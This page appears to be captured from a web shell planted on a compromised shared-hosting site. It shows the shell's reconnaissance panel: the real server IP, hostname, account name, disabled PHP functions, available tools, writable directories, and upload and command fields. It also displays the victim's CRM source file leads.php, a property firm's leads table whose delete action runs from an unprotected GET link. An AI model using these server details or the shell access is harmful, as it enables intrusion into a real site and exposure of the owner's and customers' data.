403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.25
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/public_html/crm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/public_html/crm/leads.php
<?php
session_start();
if (!isset($_SESSION['admin'])) {
  header('Location: login.html');
  exit();
}
require 'config.php';
include 'auth-guard.php';
// Handle deletion
if (isset($_GET['delete'])) {
  $id = intval($_GET['delete']);
  $conn->query("DELETE FROM crm_entries WHERE id = $id");
  header('Location: leads.php');
  exit();
}

// Handle conversion action
if (isset($_GET['convert'])) {
  $id = intval($_GET['convert']);
  // Fetch current status and follow_up_needed
  $res = $conn->query("SELECT lead_status, follow_up_needed FROM crm_entries WHERE id=$id");
  if ($res && $row = $res->fetch_assoc()) {
    $statuses = explode(',', $row['lead_status']);
    $statuses = array_map('trim', $statuses);

    // Add "Converted" if not already in status
    if (!in_array('Converted', $statuses)) {
      $statuses[] = 'Converted';
    }

    // Remove "Follow-Up Needed" from status if exists
    $statuses = array_filter($statuses, fn($s) => $s !== 'Follow-Up Needed');

    // Set follow_up_needed to No
    $newStatus = implode(', ', $statuses);
    $conn->query("UPDATE crm_entries SET lead_status = '" . $conn->real_escape_string($newStatus) . "', follow_up_needed = 'No' WHERE id=$id");
  }
  header('Location: leads.php');
  exit();
}

$result = $conn->query("SELECT * FROM crm_entries ORDER BY submitted_at DESC");

?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>CRM Leads - Aiben CRM</title>
  <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet" />
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" />
  <style>
    /* Custom scrollbar for dropdown */
    #filterDropdownOptions {
      max-height: 300px;
      overflow-y: auto;
    }
  </style>
</head>
<body class="bg-gray-100 min-h-screen flex">

  <!-- Sidebar -->
  <aside class="fixed z-10 w-full md:w-64 bg-blue-800 text-white h-screen p-6 space-y-6 side" style="display:none;">
    <div class="text-2xl font-bold text-white flex justify-between nowrap">
      <img src="https://aibenproperties.com/wp-content/uploads/2024/09/logo-web.png" alt="Aiben Logo" class="h-7">
      <button class="hover:cursor-pointer hover:text-red-400" id="close">
        <i class="fas fa-close text-2xl cursor-pointer"></i>
      </button>
    </div>
    <nav class="space-y-4">
      <a href="dashboard_1.php" class="block py-2 px-3 rounded hover:bg-blue-700">Dashboard</a>
      <a href="home-crm.php" class="block py-2 px-3 rounded hover:bg-blue-700">CRM Entries</a>
      <a href="#" class="block py-2 px-3 rounded bg-blue-700">Leads</a>
      <a href="logout.php" class="block py-2 px-3 rounded hover:bg-red-700 hover:text-white text-red-600 bg-white text-center font-semibold">Logout</a>
    </nav>
  </aside>

  <!-- Main Content Area -->
  <main class="flex-1 p-8 overflow-y-auto">
    <h1 class="text-2xl font-bold text-gray-800 mb-4 flex items-center justify-between md:justify-end gap-4 md:flex-row-reverse">
      CRM Leads
      <button id="burger" class="block">
        <i class="fas fa-bars text-2xl cursor-pointer"></i>
      </button>
    </h1>

    <!-- Filter + Search -->
    <div class="w-full md:flex items-center gap-4 mb-4 flex-nowrap justify-between">

      <!-- Combined Dropdown Filter -->
      <div class="relative inline-block text-left w-full md:w-72 flex-shrink-0 mb-4 md:mb-0">
        <button id="filterDropdownBtn" type="button" class="inline-flex justify-between w-full rounded-md border border-gray-300 shadow-sm px-4 py-2 bg-white text-sm font-medium text-gray-700 hover:bg-gray-50 focus:outline-none" aria-expanded="true" aria-haspopup="true">
          Filter Leads
          <svg class="-mr-1 ml-2 h-5 w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7" />
          </svg>
        </button>
        <div id="filterDropdownOptions" class="origin-top-left absolute left-0 mt-2 w-full rounded-md shadow-lg bg-white ring-1 ring-black ring-opacity-5 hidden z-50">
          <div class="p-4 space-y-4">
            <div>
              <h3 class="font-semibold mb-2">Purpose</h3>
              <div id="purposeOptions" class="flex flex-col max-h-40 overflow-y-auto">
                <!-- JS populate -->
              </div>
            </div>
            <div>
              <h3 class="font-semibold mb-2">Status</h3>
              <div id="statusOptions" class="flex flex-col max-h-40 overflow-y-auto">
                <!-- JS populate -->
              </div>
            </div>
            <div>
              <h3 class="font-semibold mb-2">Follow-Up Needed</h3>
              <div id="followUpOptions" class="flex flex-col max-h-40 overflow-y-auto">
                <!-- JS populate -->
              </div>
            </div>
          </div>
        </div>
      </div>

      <!-- Search Input -->
      <input type="search" id="searchInput" placeholder="Search Name, Email, Phone..." class="px-4 py-2 border rounded w-full md:w-72 flex-shrink-0" />
    </div>
    <!-- Selected Filter Tags -->
    <div id="selectedFilterTags" class="flex flex-wrap gap-2 w-full mb-4 flex-shrink overflow-hidden overflow-ellipsis whitespace-nowrap max-h-[20px] overflow-y-auto"></div>

    <!-- Leads Table -->
    <a href="download-leads.php" class="inline-block mb-4 px-4 py-2 bg-green-600 text-white rounded hover:bg-green-700">
      <i class="fas fa-file-csv mr-2"></i> Download CSV
    </a>
    <div class="overflow-auto">
      <table id="leadsTable" class="min-w-full bg-white rounded-lg shadow-md">
        <thead>
          <tr class="bg-blue-800 text-white text-left">
            <th class="p-3">#</th>
            <th class="p-3">Name</th>
            <th class="p-3">Email</th>
            <th class="p-3">Phone</th>
            <th class="p-3">Location</th>
            <th class="p-3">Purpose</th>
            <th class="p-3">Status</th>
            <th class="p-3">F/U Needed</th>
            <th class="p-3">F/U Date</th>
            <th class="p-3">Assigned Staff</th>
            <th class="p-3">Origin of Lead</th>
            <th class="p-3">Caller Response</th>
            <th class="p-3">Additional Info</th>
            <th class="p-3">Date</th>
            <th class="p-3">Actions</th>
          </tr>
        </thead>
        <tbody>
          <?php if ($result->num_rows > 0): ?>
            <?php $i = 1; while($row = $result->fetch_assoc()): ?>
              <tr class="border-t" 
                  data-purpose="<?= htmlspecialchars($row['call_purpose']) ?>" 
                  data-status="<?= htmlspecialchars($row['lead_status']) ?>" 
                  data-followup="<?= htmlspecialchars($row['follow_up_needed']) ?>"
                  data-name="<?= htmlspecialchars(strtolower($row['caller_name'])) ?>"
                  data-email="<?= htmlspecialchars(strtolower($row['caller_email'])) ?>"
                  data-phone="<?= htmlspecialchars(strtolower($row['caller_phone'])) ?>"
              >
                <td class="p-3 text-sm text-gray-800"><?= $i++ ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['caller_name']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['caller_email']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['caller_phone']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['caller_location']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['call_purpose']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['lead_status']) ?></td>
                <td>
                  <?php if ($row['follow_up_needed'] === 'Yes'): ?>
                    <span class="bg-yellow-200 text-yellow-800 px-2 py-1 rounded-full text-xs">Yes</span>
                  <?php else: ?>
                    <span class="bg-gray-200 text-gray-600 px-2 py-1 rounded-full text-xs">No</span>
                  <?php endif; ?>
                </td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['follow_up_date']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['assigned_staff']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['source']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['caller_response']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['additional_info']) ?></td>
                <td class="p-3 text-sm text-gray-800"><?= htmlspecialchars($row['submitted_at']) ?></td>
                <td class="p-3 text-sm text-gray-800 space-x-2 flex items-center">
                  <?php 
                    $statusesArray = array_map('trim', explode(',', $row['lead_status']));
                    if (!in_array('Converted', $statusesArray)):
                  ?>
                    <a href="?convert=<?= $row['id'] ?>" onclick="return confirm('Mark this lead as converted?')" class="text-green-600 hover:underline">Convert</a>
                  <?php endif; ?>
                </td>
              </tr>
            <?php endwhile; ?>
          <?php else: ?>
            <tr>
              <td colspan="9" class="p-4 text-center text-gray-500">No leads found.</td>
            </tr>
          <?php endif; ?>
        </tbody>
      </table>
    </div>
  </main>

  <script>
    const filterBtn = document.getElementById('filterDropdownBtn');
    const filterDropdown = document.getElementById('filterDropdownOptions');
    const purposeOptionsDiv = document.getElementById('purposeOptions');
    const statusOptionsDiv = document.getElementById('statusOptions');
    const followUpOptionsDiv = document.getElementById('followUpOptions');
    const selectedTagsDiv = document.getElementById('selectedFilterTags');
    const searchInput = document.getElementById('searchInput');
    const leadsTable = document.getElementById('leadsTable');
    const leadsTbody = leadsTable.querySelector('tbody');

    // Store selected filters
    const selectedFilters = {
      purpose: new Set(),
      status: new Set(),
      followup: new Set(),
    };

    // Utility to create checkbox option
    function createOption(name, category) {
      const id = `filter-${category}-${name.replace(/\s+/g,'_').toLowerCase()}`;
      const label = document.createElement('label');
      label.className = 'inline-flex items-center space-x-2 cursor-pointer mb-1';
      const checkbox = document.createElement('input');
      checkbox.type = 'checkbox';
      checkbox.id = id;
      checkbox.value = name;
      checkbox.dataset.category = category;
      checkbox.className = 'form-checkbox h-4 w-4 text-blue-600';
      label.appendChild(checkbox);
      const span = document.createElement('span');
      span.textContent = name;
      label.appendChild(span);
      return label;
    }

    // Extract unique values from the table data attributes
    function getUniqueValues(category) {
      const rows = Array.from(leadsTbody.querySelectorAll('tr'));
      const valuesSet = new Set();
      rows.forEach(row => {
        let val = row.dataset[category];
        if (!val) return;
        // For status and purpose, split by comma if multiple values
        if (category === 'status' || category === 'purpose') {
          val.split(',').forEach(v => valuesSet.add(v.trim()));
        } else {
          valuesSet.add(val.trim());
        }
      });
      // Remove empty string entries
      valuesSet.delete('');
      return Array.from(valuesSet).sort();
    }

    // Populate options
    function populateOptions() {
      // Clear existing
      purposeOptionsDiv.innerHTML = '';
      statusOptionsDiv.innerHTML = '';
      followUpOptionsDiv.innerHTML = '';

      // Purpose
      const purposes = getUniqueValues('purpose');
      purposes.forEach(p => {
        const option = createOption(p, 'purpose');
        purposeOptionsDiv.appendChild(option);
      });

      // Status
      const statuses = getUniqueValues('status');
      statuses.forEach(s => {
        const option = createOption(s, 'status');
        statusOptionsDiv.appendChild(option);
      });

      // Follow-up needed (Yes, No)
      ['Yes', 'No'].forEach(fu => {
        const option = createOption(fu, 'followup');
        followUpOptionsDiv.appendChild(option);
      });
    }

    // Render selected filter tags
    function renderSelectedTags() {
      selectedTagsDiv.innerHTML = '';
      Object.entries(selectedFilters).forEach(([category, values]) => {
        values.forEach(value => {
          const tag = document.createElement('span');
          tag.className = 'bg-blue-100 text-blue-800 px-3 py-1 rounded-full text-sm flex items-center space-x-1';
          tag.textContent = `${capitalize(category)}: ${value}`;
          const removeBtn = document.createElement('button');
          removeBtn.innerHTML = '<i class="fas fa-times"></i>';
          removeBtn.className = 'ml-1 hover:text-red-600';
          removeBtn.title = 'Remove filter';
          removeBtn.onclick = () => {
            // Remove from selected filters
            selectedFilters[category].delete(value);
            // Uncheck checkbox in dropdown
            const id = `filter-${category}-${value.replace(/\s+/g,'_').toLowerCase()}`;
            const checkbox = document.getElementById(id);
            if (checkbox) checkbox.checked = false;
            renderSelectedTags();
            filterTable();
          };
          tag.appendChild(removeBtn);
          selectedTagsDiv.appendChild(tag);
        });
      });
    }

    // Capitalize first letter
    function capitalize(str) {
      return str.charAt(0).toUpperCase() + str.slice(1);
    }

    // Filter table rows based on selected filters and search
    function filterTable() {
      const searchTerm = searchInput.value.trim().toLowerCase();
      const rows = leadsTbody.querySelectorAll('tr');

      rows.forEach(row => {
        let show = true;

        // Filter Purpose
        if (selectedFilters.purpose.size > 0) {
          const rowPurposes = row.dataset.purpose.toLowerCase().split(',').map(s => s.trim());
          if (![...selectedFilters.purpose].some(f => rowPurposes.includes(f.toLowerCase()))) {
            show = false;
          }
        }

        // Filter Status
        if (show && selectedFilters.status.size > 0) {
          const rowStatuses = row.dataset.status.toLowerCase().split(',').map(s => s.trim());
          if (![...selectedFilters.status].some(f => rowStatuses.includes(f.toLowerCase()))) {
            show = false;
          }
        }

        // Filter Follow-Up Needed
        if (show && selectedFilters.followup.size > 0) {
          const rowFollowUp = row.dataset.followup.toLowerCase();
          if (![...selectedFilters.followup].some(f => f.toLowerCase() === rowFollowUp)) {
            show = false;
          }
        }

        // Filter Search by Name, Email, Phone
        if (show && searchTerm.length > 0) {
          const name = row.dataset.name || '';
          const email = row.dataset.email || '';
          const phone = row.dataset.phone || '';
          if (!name.includes(searchTerm) && !email.includes(searchTerm) && !phone.includes(searchTerm)) {
            show = false;
          }
        }

        row.style.display = show ? '' : 'none';
      });
    }

    // Event Listeners for filter checkbox changes
    function setupCheckboxListeners() {
      [purposeOptionsDiv, statusOptionsDiv, followUpOptionsDiv].forEach(container => {
        container.addEventListener('change', e => {
          if (e.target && e.target.type === 'checkbox') {
            const category = e.target.dataset.category;
            const val = e.target.value;
            if (e.target.checked) {
              selectedFilters[category].add(val);
            } else {
              selectedFilters[category].delete(val);
            }
            renderSelectedTags();
            filterTable();
          }
        });
      });
    }

    // Toggle dropdown
    filterBtn.addEventListener('click', () => {
      filterDropdown.classList.toggle('hidden');
    });

    // Close dropdown if clicked outside
    document.addEventListener('click', (e) => {
      if (!filterBtn.contains(e.target) && !filterDropdown.contains(e.target)) {
        filterDropdown.classList.add('hidden');
      }
    });

    // Search input listener
    searchInput.addEventListener('input', () => {
      filterTable();
    });

    // Initialize
    populateOptions();
    setupCheckboxListeners();
    renderSelectedTags();

    // Sidebar toggles (same as your original)
    const closeBtn = document.getElementById('close');
    const side = document.querySelector('aside');
    const burger = document.getElementById('burger');

    closeBtn.addEventListener('click', () => {
      if (side.style.display === "none") {
        side.style.display = "block";
      } else {
        side.style.display = "none";
        burger.style.display = "flex";
      }
    });
    burger.addEventListener('click', () => {
      if (burger.style.display === "none") {
        burger.style.display = "flex";
      } else {
        burger.style.display = "none";
        side.style.display = "block";
      }
    });
  </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit